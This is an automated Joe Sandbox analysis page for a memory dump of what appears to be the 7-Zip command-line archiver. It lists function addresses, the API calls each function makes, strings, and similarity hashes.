Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$QueryValue$Openmemmove
String ID: 7z.dll$Software\7-zip
API String ID: 2771487249-1558686312
Opcode ID: 232e922c7f0ce51f826d985996c137ff839169f93ea0f5e4105b3c8395333e57
Instruction ID: 643e27d09598c3efd7e8b81dd92be0de2d727dffeeb7ab690c82694f8297e4ab
Opcode Fuzzy Hash: 232e922c7f0ce51f826d985996c137ff839169f93ea0f5e4105b3c8395333e57
Instruction Fuzzy Hash: 4011AC61305A8090CA20EB11E9553DE6724EBD6BE4F841212AE5D477F7DF2CCA4ED700

Function 00C4225C Relevance: 7.6, APIs: 5, Instructions: 52COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C42281
fputs.MSVCRT ref: 00C422B7
free.MSVCRT ref: 00C422C3
fputs.MSVCRT ref: 00C422D9
fputs.MSVCRT ref: 00C42303

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputs$free
String ID:
API String ID: 3873070119-0
Opcode ID: 195860d1492bba094a57b9ecf7c7289ce8bcd6229381cd4e357f1d334659de32
Instruction ID: 51b7ca3a6cbe13ea1be04467c0bc67d8234c278211753d8dc797419636698c07
Opcode Fuzzy Hash: 195860d1492bba094a57b9ecf7c7289ce8bcd6229381cd4e357f1d334659de32
Instruction Fuzzy Hash: F611607331498192DB20DF25E854B5E6330F795BA4F404321EFAE43AB4DF28C945C700

Function 00C06C84 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32 ref: 00C06CA8
GetLastError.KERNEL32 ref: 00C06CB6
CreateDirectoryW.KERNEL32 ref: 00C06CF1
free.MSVCRT ref: 00C06D01
free.MSVCRT ref: 00C06D0F

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: CreateDirectoryfree$ErrorLast
String ID:
API String ID: 3252411863-0
Opcode ID: fc7c84208e05cc916470f72eeea78ecee52ed3ec44cc2f5207f8f15f03265912
Instruction ID: 86c1a22be4b8472dfe9b5dff363b769adc03fbf28427a42594fde4bce04b515e
Opcode Fuzzy Hash: fc7c84208e05cc916470f72eeea78ecee52ed3ec44cc2f5207f8f15f03265912
Instruction Fuzzy Hash: F501A22230474081EA30EF26EA9433D1365ABCABF4F584320DA6D877E5DF58CA9AD700

Function 00C3056F Relevance: 7.5, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C30574
free.MSVCRT ref: 00C30598
free.MSVCRT ref: 00C305A1
free.MSVCRT ref: 00C305AA
free.MSVCRT ref: 00C305B5
free.MSVCRT ref: 00C32D73

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 4cc3be562f800f66c890074482ac147a4380dffb5d2304e0dd1a317519950c51
Instruction ID: 8db533103329c9372efc6af862820fa7f0fc3613bea5302e5d213171a7bf7576
Opcode Fuzzy Hash: 4cc3be562f800f66c890074482ac147a4380dffb5d2304e0dd1a317519950c51
Instruction Fuzzy Hash: 88F03A73256A2482CA05FE32E46962E5310A7C7F91F0024629F0E13351CE38C887D744

Function 00C0EC90 Relevance: 7.5, APIs: 6, Instructions: 19COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C0EC9D
free.MSVCRT ref: 00C0ECA6
free.MSVCRT ref: 00C0ECAF
free.MSVCRT ref: 00C0ECB8
free.MSVCRT ref: 00C0ECC1
free.MSVCRT ref: 00C0ECCA

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 76439c2ae6d2279247935120ce8afe15d695928ca0b2e8dcd2c70b0a6abef4e1
Instruction ID: 7ba2028c3c6f64125cbe4e0ce37ee86b87b883cc34734ea94778e94f35d6db4a
Opcode Fuzzy Hash: 76439c2ae6d2279247935120ce8afe15d695928ca0b2e8dcd2c70b0a6abef4e1
Instruction Fuzzy Hash: D1E0F572610624C1CB14FF76DCAA02C2324EBD5F8871420539F2E8B3A5CD20CC52E3C4

Function 00C424B0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 110COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C425EC
fputs.MSVCRT ref: 00C42636

Part of subcall function 00C4B1C8: memset.MSVCRT ref: 00C4B20D
Part of subcall function 00C4B1C8: fputs.MSVCRT ref: 00C4B232

Strings

Size, xrefs: 00C425A3
Name, xrefs: 00C42612

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputs$freememset
String ID: Name$Size
API String ID: 2276422817-481755742
Opcode ID: eadf18be6b312c5b5e1de07ee489d0b3ab3b1ff87b37fbe43ef131a6c7ee7c31
Instruction ID: 04ca027a143fc2b6e822b2cc78ccdf0670991d9fa0933665cab4d726c9a8b56c
Opcode Fuzzy Hash: eadf18be6b312c5b5e1de07ee489d0b3ab3b1ff87b37fbe43ef131a6c7ee7c31
Instruction Fuzzy Hash: B441C672211A84A2DB26EF34E455BEE7720F744B58FC45122BF6E432A1DF78DA86D700

Function 00C4BD5C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 82COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C4BDCD
fputs.MSVCRT ref: 00C4BE0B

Part of subcall function 00C4B1C8: memset.MSVCRT ref: 00C4B20D
Part of subcall function 00C4B1C8: fputs.MSVCRT ref: 00C4B232

Strings

Removing, xrefs: 00C4BDDB, 00C4BEA5
: Removing files after including to archive, xrefs: 00C4BDC6

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputs$memset
String ID: : Removing files after including to archive$Removing
API String ID: 3543874852-1218467041
Opcode ID: f313436687fa66b8265a09a25303336257e01bcf81b9bc681d1f23b01fb39c8c
Instruction ID: efec5f1fee7271cb6b986b39f8b69ad6de44763ff7190a2dfbd2c0e35ad1e555
Opcode Fuzzy Hash: f313436687fa66b8265a09a25303336257e01bcf81b9bc681d1f23b01fb39c8c
Instruction Fuzzy Hash: 7531A762600AC192EF79EB35E8953DE6320F744784F448422CBAF461A5DF7CE9CAD300

Function 00C4C47C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C4C4FD
fputs.MSVCRT ref: 00C4C50D
free.MSVCRT ref: 00C4C553

Part of subcall function 00C4B1C8: memset.MSVCRT ref: 00C4B20D
Part of subcall function 00C4B1C8: fputs.MSVCRT ref: 00C4B232

Strings

: , xrefs: 00C4C506

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputs$freememset
String ID: :
API String ID: 2276422817-3653984579
Opcode ID: 2d51f8118dbba9063f6913f1af84da5abfe4bad0c8c255e5030384decc0f2edb
Instruction ID: b7c18b9cb6a019aea3def487842e7f2708e3bfdf7377c808fb2423b5c50d01c3
Opcode Fuzzy Hash: 2d51f8118dbba9063f6913f1af84da5abfe4bad0c8c255e5030384decc0f2edb
Instruction Fuzzy Hash: BB118112341A4292DB28EB65D8A47AD6320BB85BE4F085231EE2E437B6DF38D955E340

Function 00C4B864 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 61COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C4B8EB
free.MSVCRT ref: 00C4B90A

Part of subcall function 00C4B1C8: memset.MSVCRT ref: 00C4B20D
Part of subcall function 00C4B1C8: fputs.MSVCRT ref: 00C4B232

Strings

WARNING: , xrefs: 00C4B8D3
ERROR: , xrefs: 00C4B8DA

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputs$freememset
String ID: ERROR: $WARNING:
API String ID: 2276422817-2114518728
Opcode ID: 8e3bba8349f46928f641cc6bcc1daefcf3e0a2bdec40cb1967d92b4bec262380
Instruction ID: daa7779db42f7aba0bf037c2863eaf2acdb86cf9296f4b8cde3ffc0583f9fda0
Opcode Fuzzy Hash: 8e3bba8349f46928f641cc6bcc1daefcf3e0a2bdec40cb1967d92b4bec262380
Instruction Fuzzy Hash: D9118622701E4081DA28EB62EC997AE6310B785BE4F484221EF6F173E1DF3CD885D300

Function 00C410C4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00C410EB
fputs.MSVCRT ref: 00C41153
LeaveCriticalSection.KERNEL32 ref: 00C4118D

Strings

ERROR: , xrefs: 00C4114C

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: CriticalSection$EnterLeavefputs
String ID: ERROR:
API String ID: 4171338575-977468659
Opcode ID: be048cf6878443a2184a7b989802cb390b223653ec2da76719a795addb1c1f7a
Instruction ID: 2e1473dacc2751061ab9243de09906d97b7dd4dfd2a9d5e1565284942dba2347
Opcode Fuzzy Hash: be048cf6878443a2184a7b989802cb390b223653ec2da76719a795addb1c1f7a
Instruction Fuzzy Hash: 66118F3234198185EB19DF25EC54BAC2321BB85BA5F5C8332DFAE4B6A4CF388489C310

Function 00C4BB9C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C4BC6C
free.MSVCRT ref: 00C4BC78

Part of subcall function 00C4B1C8: memset.MSVCRT ref: 00C4B20D
Part of subcall function 00C4B1C8: fputs.MSVCRT ref: 00C4B232

Strings

Archive size: , xrefs: 00C4BC29
Files read from disk, xrefs: 00C4BBEE

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputs$freememset
String ID: Archive size: $Files read from disk
API String ID: 2276422817-3736835528
Opcode ID: 2efab2b554c4f96bbbe87714b73d16ad6655604f82f8fcc69e920b2b3405c337
Instruction ID: 1fa5a9739482008777d973e53340fdac41fa4a338a4c02896ae4315267ae0a84
Opcode Fuzzy Hash: 2efab2b554c4f96bbbe87714b73d16ad6655604f82f8fcc69e920b2b3405c337
Instruction Fuzzy Hash: 9F112E62204D4191DB20EB24E8A539D6730FBC47E8F845722E65E475F9DF28CA8AD740

Function 00C02974 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 50COMMON

Download Yara Rule

Strings

z, xrefs: 00C029C0
a, xrefs: 00C029BA

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID:
String ID: a$z
API String ID: 0-4151050625
Opcode ID: 79b007a773469842fcff8db7cb0bfa3ab41b08846dae76e5ae68771568f84890
Instruction ID: 3b03ac48e4da14dc0ed94ee43cd8062795feb852575040e15ad72eac68b3f740
Opcode Fuzzy Hash: 79b007a773469842fcff8db7cb0bfa3ab41b08846dae76e5ae68771568f84890
Instruction Fuzzy Hash: CD01AF26F11059C6EF307B12A95C3F8A252E715F92F8D41338EAD0B3D0E1194AD2E311

Function 00C0AD0C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00C0AD1C
GetProcAddress.KERNEL32 ref: 00C0AD37

Strings

RtlGetVersion, xrefs: 00C0AD2D
ntdll.dll, xrefs: 00C0AD15

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: RtlGetVersion$ntdll.dll
API String ID: 1646373207-1489217083
Opcode ID: 4b5a8e6a765e93aad0567a887158774fb9c1889fb27dd6c52aa472cf121c010a
Instruction ID: 44cd4beddbfd66c6e2a77a7248af780a45154128b61ff4a79564bdd2a979e906
Opcode Fuzzy Hash: 4b5a8e6a765e93aad0567a887158774fb9c1889fb27dd6c52aa472cf121c010a
Instruction Fuzzy Hash: 5CF0623671470487EB30DB21F4A47AD73A0F798356F440539E75B42AA0DB7CDA89CB05

Function 00C4BAAC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C4BACF
fputs.MSVCRT ref: 00C4BAFC

Part of subcall function 00C02320: free.MSVCRT ref: 00C0237E
Part of subcall function 00C02320: fputs.MSVCRT ref: 00C023B8
Part of subcall function 00C02320: free.MSVCRT ref: 00C023C4

Strings

Open archive: , xrefs: 00C4BAC8
StdOut, xrefs: 00C4BAF2

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputs$free
String ID: Open archive: $StdOut
API String ID: 3873070119-2401103298
Opcode ID: ce59a64c16b32fbdc4fabaafe929a8674e998fc0354dffc2ed294dc1c66bfb13
Instruction ID: 13e4ffd478eff500d74481acf76b8580f592984dac1a492e6e6c1c82bb2e3887
Opcode Fuzzy Hash: ce59a64c16b32fbdc4fabaafe929a8674e998fc0354dffc2ed294dc1c66bfb13
Instruction Fuzzy Hash: 2BF0FEA5301D8581DE059F26D999B6D6321FB44FD5F58D532DE0E4B328DF28C8DAC310

Function 00C42344 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 23COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C42375
fputs.MSVCRT ref: 00C42383

Part of subcall function 00C02300: fputc.MSVCRT ref: 00C02311

Strings

, xrefs: 00C4235E
:, xrefs: 00C42359

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputs$fputc
String ID: $:
API String ID: 1185151155-4041779174
Opcode ID: 158b50a13c805fd8231fb2a9988c9be95edbaf40012f3606b1facd01aece21a3
Instruction ID: db0f252c4eebd6cd3411e148fa7df45e47472e5ce15b80a163069d3dd155cee3
Opcode Fuzzy Hash: 158b50a13c805fd8231fb2a9988c9be95edbaf40012f3606b1facd01aece21a3
Instruction Fuzzy Hash: 84E09296304A8081DF15DB36E86475DA321FB99FCCF488132EE8E07769DE2CC109C711

Function 00C4D4C0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00C4D4CB
GetProcAddress.KERNEL32 ref: 00C4D4DB

Strings

GetLargePageMinimum, xrefs: 00C4D4D1
kernel32.dll, xrefs: 00C4D4C4

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetLargePageMinimum$kernel32.dll
API String ID: 1646373207-2515562745
Opcode ID: 9cafdcdec884bdbcba65c699ecbd7ef866ca1a9750535094873ebbbe4fc89029
Instruction ID: 6d56c69542d183fa114d231a2fb869f021f590448baee2e040952c4f565552f5
Opcode Fuzzy Hash: 9cafdcdec884bdbcba65c699ecbd7ef866ca1a9750535094873ebbbe4fc89029
Instruction Fuzzy Hash: 5DE0B664752B01A1FE19EB55FCA5B682360BB99B04F84062A851F92360EF3CD29AC310

Function 00C371BC Relevance: 6.5, APIs: 5, Instructions: 203COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C3734A
free.MSVCRT ref: 00C37355
GetLastError.KERNEL32 ref: 00C373AC
free.MSVCRT ref: 00C373B9
free.MSVCRT ref: 00C373C4

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$ErrorLast
String ID:
API String ID: 408039514-0
Opcode ID: d7c40869ad587d79d1a4cde6791f56a7827730960875fe2f1716f54cae6806b2
Instruction ID: f9eae58738a8cee07b09d348b6dd0d6c937139f258b1952dd05673b88a954963
Opcode Fuzzy Hash: d7c40869ad587d79d1a4cde6791f56a7827730960875fe2f1716f54cae6806b2
Instruction Fuzzy Hash: 8A816BB2329A4082CB64DF26D44075EB765F788BA4F544315EF9E43BA8EF38C955CB00

Function 00C14210 Relevance: 6.4, APIs: 5, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 735d4e83ff881ba3abcc4a6c9aa5d61f64a5c4c51b6bddb4a0ec876fb6e64911
Instruction ID: 38eac7d2351c145755eb76aa4cb0c912ff5ea2ff8ec1a1e9aec455a81d7f7a72
Opcode Fuzzy Hash: 735d4e83ff881ba3abcc4a6c9aa5d61f64a5c4c51b6bddb4a0ec876fb6e64911
Instruction Fuzzy Hash: D641D66371578096CB24DE22D5402AE6760FB87BE4F485211EFBD07B99DF38CA86E700

Function 00C34C2C Relevance: 6.4, APIs: 5, Instructions: 114COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C34C6F
memmove.MSVCRT ref: 00C34D71
free.MSVCRT ref: 00C34D8E
free.MSVCRT ref: 00C34DA3
free.MSVCRT ref: 00C34DB1

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 2d6c9dfe1155a16f3a068d7370a8ec758800c3918b65cbcdfef43df97f9f1dc5
Instruction ID: 7bb782d4edfc353f7eac99b7ff0c2f371a004df01990d2d35aa2bba257cb987c
Opcode Fuzzy Hash: 2d6c9dfe1155a16f3a068d7370a8ec758800c3918b65cbcdfef43df97f9f1dc5
Instruction Fuzzy Hash: 234108272182C085CB20DA25F44015FAFB1F3C6798F180215FFA607B9AC77ED599DB11

Function 00C3F4AC Relevance: 6.3, APIs: 5, Instructions: 91COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00C3F5BC
free.MSVCRT ref: 00C3F5D3
free.MSVCRT ref: 00C3F5DE

Part of subcall function 00C0383C: memmove.MSVCRT ref: 00C03877

free.MSVCRT ref: 00C3F5EF
free.MSVCRT ref: 00C3F5FA

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$ErrorLastmemmove
String ID:
API String ID: 3561842085-0
Opcode ID: 835e30b8a2ce9afd242e3c27a4bd6d2521a716217a04de116505d45ba31023b0
